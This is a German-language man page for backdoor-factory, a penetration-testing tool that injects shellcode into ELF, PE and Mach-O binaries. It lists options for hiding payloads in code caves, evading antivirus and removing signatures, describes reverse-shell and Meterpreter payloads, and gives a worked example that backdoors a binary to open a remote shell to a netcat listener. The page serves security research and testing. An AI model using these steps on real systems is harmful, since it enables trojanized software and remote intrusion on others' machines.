backdoor-factory - Referenzhandbuch, Optionen, Befehlsbeispiele


NAME

backdoor-factory - Vordefinierten oder benutzerdefinierten Shellcode in Binärdateien einfügen

ZUSAMMENFASSUNG

backdoor-factory [options]

BESCHREIBUNG

backdoor-factory patcht ausführbare Binärdateien mit dem vom Benutzer gewünschten Shellcode und setzt die normale Ausführung des vorgepatchten Zustands fort.

Dieses Tool ist nur für Sicherheitsexperten und Forscher bestimmt.

Dieses Tool unterstützt keine verschiebbare ausführbare ELF-Datei (d. h. kompiliert mit der Option -fPIE, empfohlen durch die Debian-Härtungsanforderungen, siehe https://wiki.debian.org/Hardening)

Binärdateien wie ssh werden möglicherweise nicht korrekt gecappt, wie dies bei Binärdateien wie Dolphin (zum Zeitpunkt der Erstellung dieser Manpage) der Fall ist.

OPTIONEN:

-h, --help

Zeigen Sie diese Hilfemeldung an und beenden Sie den Vorgang

-f FILE, --file=FILE

Datei zur Hintertür

-s SHELL, --shell=SHELL

Zur Nutzung verfügbare Nutzlasten. Verwenden Sie „Anzeigen“, um Nutzlasten anzuzeigen.

-H HOST, --hostip=HOST

IP des C2 für umgekehrte Verbindungen.

-P PORT, --port=PORT

Der Port, zu dem entweder eine Verbindung für Reverse-Shells hergestellt oder der auf Bind-Shells überwacht werden soll

-J, --cave_jumping

Wählen Sie diese Option, wenn Sie Code Cave Jumping verwenden möchten, um Ihren Shellcode in der Binärdatei weiter zu verbergen.

-a, --add_new_section

Vorschreiben, dass der Exe ein neuer Abschnitt hinzugefügt wird (besserer Erfolg), aber weniger AV-Vermeidung

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Stellen Sie sicher, dass der vom Benutzer bereitgestellte Shellcode mit der Architektur übereinstimmt, auf die Sie abzielen.

-c, --cave

Die Höhlenflagge findet Codehöhlen, die zum Verstecken von Shellcode verwendet werden können. Dadurch werden alle Code-Caves einer bestimmten Größe gedruckt. Das Flag -l kann mit dieser Einstellung verwendet werden.

-l SHELL_LEN, --shell_length=SHELL_LEN

Zur Verwendung mit -c, um Codehöhlen unterschiedlicher Größe zu finden

-o OUTPUT, --output-file=OUTPUT

Der Pfad der Backdoor-Ausgabedatei. Übergeordnete Verzeichnisse müssen vorhanden sein

-n NSECTION, --section=NSECTION

Der Name des neuen Abschnitts muss weniger als sieben Zeichen lang sein

-d DIR, --directory=DIR

Dies ist der Speicherort der Dateien, die Sie per Hintertür öffnen möchten. Sie können das Backdooring eines Dateiverzeichnisses beschleunigen, indem Sie mithilfe der Einstellung -a das Anhängen eines Codecaves an die Exe-Datei erzwingen.

-w, --change_access

Dieses Flag ändert den Abschnitt, der die Codecave enthält, in RWE. Manchmal ist dies notwendig. Standardmäßig aktiviert. Wenn die Hintertür deaktiviert ist, schlägt sie möglicherweise fehl.

-i, --injector

Dieser Befehl verwandelt die Backdoor-Fabrik in einen Such- und Shellcode-Inject-Mechanismus. Bearbeiten Sie die Zieleinstellungen im Injektormodul.

-u SUFFIX, --suffix=SUFFIX

Für die Verwendung mit dem Injektor wird der Originaldatei ein Suffix hinzugefügt, um die Wiederherstellung zu erleichtern

-D, --delete_original

Zur Verwendung mit Injektormodul. Dieser Befehl löscht die Originaldatei. Nicht zur Verwendung in Produktionssystemen geeignet. (Der Autor ist nicht verantwortlich für dumme Verwendungen.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Startpunkt auf dem Festplattenoffset, in Bytes. Einige Autoren möchten ihren Offset auf der Festplatte verschleiern, um Reverse Engineering zu vermeiden. Wenn Sie eine dieser Dateien finden, verwenden Sie dieses Flag, nachdem Sie den Offset gefunden haben.

-S, --support_check

Um festzustellen, ob die Datei von BDF unterstützt wird, bevor die Datei mit einer Hintertür versehen wird. Zur alleinigen Verwendung oder mit Verbose. Diese Prüfung erfolgt automatisch, wenn ein Backdoor-Angriff versucht wird.

-M, --cave-miner

Zukünftige Verwendung, um den kleinstmöglichen Shellcode in einer PE-Datei zu bestimmen

-q, --no_banner

Tötet das Banner.

-v, --verbose

Zur Ausgabe von Debug-Informationen.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Nur Binärdateien vom Typ ALL, x86 oder x64. Standard=ALLE

-Z, --zero_cert

Ermöglicht das Überschreiben des Zeigers auf die PE-Zertifikattabelle, wodurch das Zertifikat in jeder Hinsicht effektiv aus der Binärdatei entfernt wird.

-R, --runas_admin

EXPERIMENTELL Überprüft die PE-Binärdateien auf „requestedExecutionLevel level="highestAvailable"“. Wenn diese Zeichenfolge in der Binärdatei enthalten ist, muss sie als system/admin ausgeführt werden. Wenn der Support-Check-Modus nicht aktiviert ist, wird versucht, „highestAvailable“ in das Manifest zu patchen, wenn der Eintrag „requestedExecutionLevel“ vorhanden ist.

-L, --patch_dll

Verwenden Sie diese Einstellung, wenn Sie DLLs NICHT patchen möchten. Standardmäßig Patches.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Für MACH-O-Format. Konzentrieren Sie sich bei einer fetten Datei darauf, welcher Bogen geflickt werden soll. Der Standardwert ist x64. Um x86 zu erzwingen, verwenden Sie -F x86, um beide Archen zu erzwingen, verwenden Sie -F ALL.

-B BEACON, --beacon=BEACON

Legen Sie für Nutzlasten, die die Fähigkeit zum Aussenden haben, die Zeit in Sekunden fest

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Patching-Methoden für PE-Dateien: „manuell“, „automatisch“, „Ersetzen“ und „Onionduke“.

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Für Zwiebelduke. Geben Sie Ihre gewünschte Binärdatei an.

-X, --xp_mode

Standard: Unterstützt keine älteren XP-Maschinen. Verwenden Sie -X, um XP zu unterstützen. Standardmäßig stürzt die Binärdatei auf XP-Rechnern ab (z. B. Sandboxes).

-A, --idt_in_cave

EXPERIMENTELL Standardmäßig wird eine neue Importverzeichnistabelle in einem neuen Abschnitt erstellt. Durch Aufrufen dieses Flags wird sie in eine Codehöhle verschoben. Dies kann in einigen Fällen zu einem Ausfall des Bianry führen. Testen Sie zuerst die Zielbinärdateien.

-C, --code_sign

Für diejenigen mit Codesigning-Zertifikaten, die nur PE-Binärdateien signieren möchten. Benennen Sie Ihren Signaturschlüssel und Ihren privaten Schlüssel signingcert.cer bzw. signingPrivateKey.pem im Zertifikatsverzeichnis. Es liegt an Ihnen, Signaturzertifikate zu erhalten.

-p, --preprocess

Um Vorverarbeitungsskripte im Vorverarbeitungsverzeichnis auszuführen

ÜBER DIE SHELLCODES

In der Backdoor-Factory gibt es verschiedene vordefinierte Shellcodes. Ihre Verfügbarkeit hängt vom Zieltyp (ELF32, ELF64, PE32...) ab. Die Shellcodes-Liste ist unten definiert.

für alle Intel-basierten (x86- und x86_64-Architekturen)

reverse_shell_tcp

Bedarf: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Remote-Shell-Zugriff

delay_reverse_shell_tcp

Bedarf: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Remote-Shell-Zugriff

beaconing_reverse_shell_tcp

Benötigt werden: ein Beacon, ein Remote-Host und ein festzulegender Port. Erlaubt: Remote-Shell-Zugriff

user_supplied_shellcode

benötigen: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab

Linux-spezifische Shellcodes

reverse_tcp_stager

Bedarf: Genehmigungen:

Windows PE32-Exe-Shellcodes

reverse_shell_tcp_inline

benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff

reverse_shell_tcp_stager_threaded

Benötigt: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Injizieren der Meterpreter-Server-DLL über die Reflektive Dll-Injection-Nutzlast

meterpreter_reverse_https_threaded

benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Meterpreter über https-Transport

user_applied_shellcode_threaded

Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab

iat_reverse_tcp_inline

benötigt: einen Remote-Host und einen einzustellenden Port erlaubt:

iat_reverse_tcp_inline_threaded

benötigt: einen Remote-Host und einen einzustellenden Port erlaubt:

iat_reverse_tcp_stager_threaded

Benötigt: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Injizieren der Meterpreter-Server-DLL über die Reflektive Dll-Injection-Nutzlast

iat_user_applied_shellcode_threaded

Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab

Windows PE64-Exe-Shellcodes

delay_reverse_shell_tcp

benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff

reverse_shell_tcp

benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff

beaconing_reverse_shell_tcp

Benötigt: ein Beacon, einen Remote-Host und einen Port, die eingestellt werden müssen, um Remote-Shell-Zugriff zu ermöglichen

user_supplied_shellcode

Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab

BEISPIELE

Beispiel für die Höhlencodierung einer ELF-Binärdatei durch Integration eines Remote-Shell-Zugriffs über einen Remote-TCP-Listener (z. B. Netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

Starten Sie netcat auf dem Host hinter der IP 172.16.0.15 im Listen-Modus:

netcat -l 172.16.0.15 8080

Starten Sie auf dem Ziel die Backdoor-Binärdatei:

./backdoored/dolphin

Verwenden Sie jetzt auf dem Host 172.16.0.15 einfach Ihre Shell.

GESCHICHTE

Mai 2017, ursprünglich zusammengestellt von Philippe Thierry (phil bei reseau-libre dot com)